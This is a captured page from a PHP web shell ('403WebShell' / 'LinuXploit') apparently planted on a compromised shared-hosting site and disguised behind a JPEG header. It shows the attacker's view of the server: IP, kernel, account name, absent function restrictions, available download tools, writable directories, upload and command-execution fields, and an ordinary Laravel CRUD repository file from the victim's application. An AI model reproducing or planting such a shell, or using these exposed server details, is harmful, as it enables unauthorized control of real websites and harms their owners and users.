����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.17.154.155
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/bofirmacademy.com/app/Tools/Repositories/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/bofirmacademy.com/app/Tools/Repositories/Crud.php
<?php


namespace App\Tools\Repositories;


use App\Tools\Interfaces\CrudInterface;
use Illuminate\Database\Eloquent\Model;

class Crud implements CrudInterface
{
// model property on class instance
    protected $model;

    //constructor method to bind repo

    public function __construct(Model $model)
    {
        $this->model = $model;
    }

    // get all instances of the model

    public function all()
    {
        return $this->model->all();
    }

    /**
     * @param string $ord //contain 'DESC' or 'ASC'. default value 'DESC'
     * @param int $record_per_page // refer to number of record per page. default value 25
     * @return mixed // all instances of the model order by id
     */

    public function getOrderById($ord = 'DESC', $record_per_page = 25)
    {
        return $this->model->orderBy('id', $ord)->paginate($record_per_page);
    }

    /**
     * @param $id
     * @return mixed
     */

    public function getRecordById($id)
    {
        return $this->model->findOrFail($id);
    }

    /**
     * @param $uuid
     * @return mixed
     */

    public function getRecordByUuid($uuid)
    {
        return $this->model->whereUuid($uuid)->firstOrFail();
    }
  
    /**
     * @param $slug
     * @return mixed
     */

    public function getRecordBySlug($slug)
    {
        return $this->model->whereSlug($slug)->firstOrFail();
    }


    // create a new record in database

    public function create(array $data)
    {
        return $this->model->create($data);
    }

    // update record in the database

    public function update(array $data, $id)
    {
        $record = $this->model->find($id);
        $record->update($data);
        return $record;
    }

    public function updateByUuid(array $data, $uuid)
    {
        $record = $this->model->whereUuid($uuid)->firstOrFail();
        $record->update($data);
        return $record;
    }
  
    public function updateBySlug(array $data, $slug)
    {
        $record = $this->model->whereSlug($slug)->firstOrFail();
        $record->update($data);
        return $record;
    }


    // remove record from database


    public function delete($id)
    {
        return $this->model->destroy($id);
    }

    public function deleteByUuid($uuid)
    {
        return $this->model->whereUuid($uuid)->delete();
    }
   
    public function deleteBySlug($slug)
    {
        return $this->model->whereSlug($slug)->delete();
    }

    // get the associated model

    public function getModel()
    {
        return $this->model;
    }

    // set the associated model

    public function setModel($model)
    {
        $this->model = $model;
        return $this;
    }

    // Eager load database relationships

    public function with($relations)
    {
        return $this->model->with($relations);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit